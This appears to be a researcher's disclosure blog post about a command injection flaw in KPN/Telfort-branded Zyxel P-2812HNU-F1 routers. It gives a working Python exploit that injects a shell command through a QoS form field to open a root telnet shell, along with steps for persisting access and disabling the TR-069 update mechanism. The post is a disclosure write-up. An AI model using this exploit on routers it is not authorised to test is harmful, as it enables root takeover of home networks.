Hacking the KPN Zyxel DSL router (P-2812HNU-F1)


zyxel p-2812uhn-f1

Zyxel P2812 DSL routers are commonly used in the Netherlands and Norway. A command injection vulnerability exists in the latest KPN/Telfort routers that allows root access.

Proof of concept exploit

Works against firmware V3.11TUE8. At least TUE3 is also affected, but requires slight modification (no sessionKey). Telenor branded Zyxel routers are not affected since at least BLN.18.

#!/usr/bin/env python3 
# 2017-02-03 gwillem@gmail.com

import requests
import re

USER = 'user'
PASS = '1234'
URL = 'http://192.168.1.254/'
CMD = '/sbin/telnetd -l/bin/sh -p9999 &'

s = requests.Session()
s.post(URL + 'login.cgi', data=dict(
    UserName=USER, 
    password=PASS,
    hiddenPassword=PASS,
    submitValue='1'))
r = s.get(URL + 'fileuser_mod.cgi')
assert 'sessionKey' in r.text, r.text

sessionkey = re.search("gblsessionKey = '(.+?)'", r.text).group(1)
assert len(sessionkey) > 24, sessionkey

r = s.post(URL + 'qos_queue_add.cgi', data=dict(
        Submit='Apply',
        QueueObjectIndex='15',
        QueueNameTxt='test',
        WebQueueInterface='WAN`%s`' % CMD,
        WebQueuePriority='1',
        WebQueueWeight='1',
        sessionKey=sessionkey,
    ))

if "window.parent.document.activePage('network-qos',1)" in r.text:
    print("Success, root shell at port 9999")
else:
    print("Did not work, see output:\n" + r.text)

Working?

$ ./open-sesame.py
Success!
$ telnet 192.168.1.1 9999
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
# id
uid=0(root) gid=0(root)

Disclosure timeline

2017-02-05 Notified cert@kpn-cert.nl
2017-02-11 Notified cert@telenor.net
2017-02-15 KPN: "escalated to Zyxel"
2017-02-23 Telenor: "we have fixed this already in BLN18"
2017-02-23 KPN: "still waiting for Zyxel"
2017-04-07 KPN: "still waiting for Zyxel"
2017-05-08 KPN: "we got a patch"
2017-05-15 KPN: "still testing the patch"
2017-05-18 KPN: "still testing the patch"
2017-05-30 KPN: "still testing the patch"
2017-06-15 KPN: "testing failed, waiting for Zyxel"
2017-09-28 Public disclosure

Securing access

A firmware update will surely lock me out, and my goal is to override some of the Zyxels DNS settings. I ensure future access by eliminating the call-home and update mechanism (TR-069).

The /etc partition is mounted as tmpfs on a running system and populated in /etc/init.d/rcS. The root partition is mounted read-only. To persist my changes:

ls -l /proc/*/fd/* | grep etc
pkill smbd
pkill dnsmasq
# kill everything else that blocks
umount /etc
mount -t yaffs2 -o remount,rw /

Now I can alter /etc/init.d/rcS. Warning: a syntax error will brick my system. So it’s best to minize modifications to the system and put most of it on a USB memory stick.

My modified rcS script only copies a file to /etc/automount/automount.d/auto-usb-run.sh. This is run every time a USB disk is inserted. If the USB disk contains an init.sh file, it is executed. Extra profit: I only have to re-plug my USB stick to test changes to my script.

In my init.sh script, I’ll ensure to kill zytr069main. This process does a periodic check with my ISP and will possibly download new firmware.

zyxel p-2812uhn-f1

Zyxel rant

IMHO Zyxel’s hardware is quite ok, but the software tells a tale of tight deadlines and churn in the dev team. For example,

This Zyxel model was rooted before but it was fixed (incompletely) by stripping special characters in user input.

Note-to-self on firmware analysis

The ISP-branded firmware is not publicly available, but the latest Zyxel firmware is very similar and up for grabs.

Installed the latest binwalk and all its dependencies, especially yaffs and sasquatch.

Ran binwalk -eM <image> to extract the root filesystem. Under /usr/share/web I found the GUI system.

Ran strings on these binaries to find interesting pointers, for example, all binaries that do shell-interpreted system calls:

$ strings -f * | grep % | grep '>'
wlan_wps.cgi: %s conf > /dev/null
wwancfg.cgi: cp -rf %s %s >/dev/null 2>/dev/null
status.cgi: %s lsg | grep nLineState | awk '{print $2}' | sed -e 's/nLineState=0x*//g' > /tmp/linestatus
diagnostic.cgi: echo set to html %d,%s>> /dev/console

Useful tools: mitmproxy in combination with the SwitchySharp auto proxy switcher for Chrome.

Observations

  1. Zyxel firmware fixes are not necessarily distributed among all ISP clients.
  2. The Zyxel firmware does not seem subject to rigorous QA procedures, for which the burden is then shifted to ISPs.
  3. This is a killer for quick distribution of hot-fixes.
Get updated on new posts via Twitter: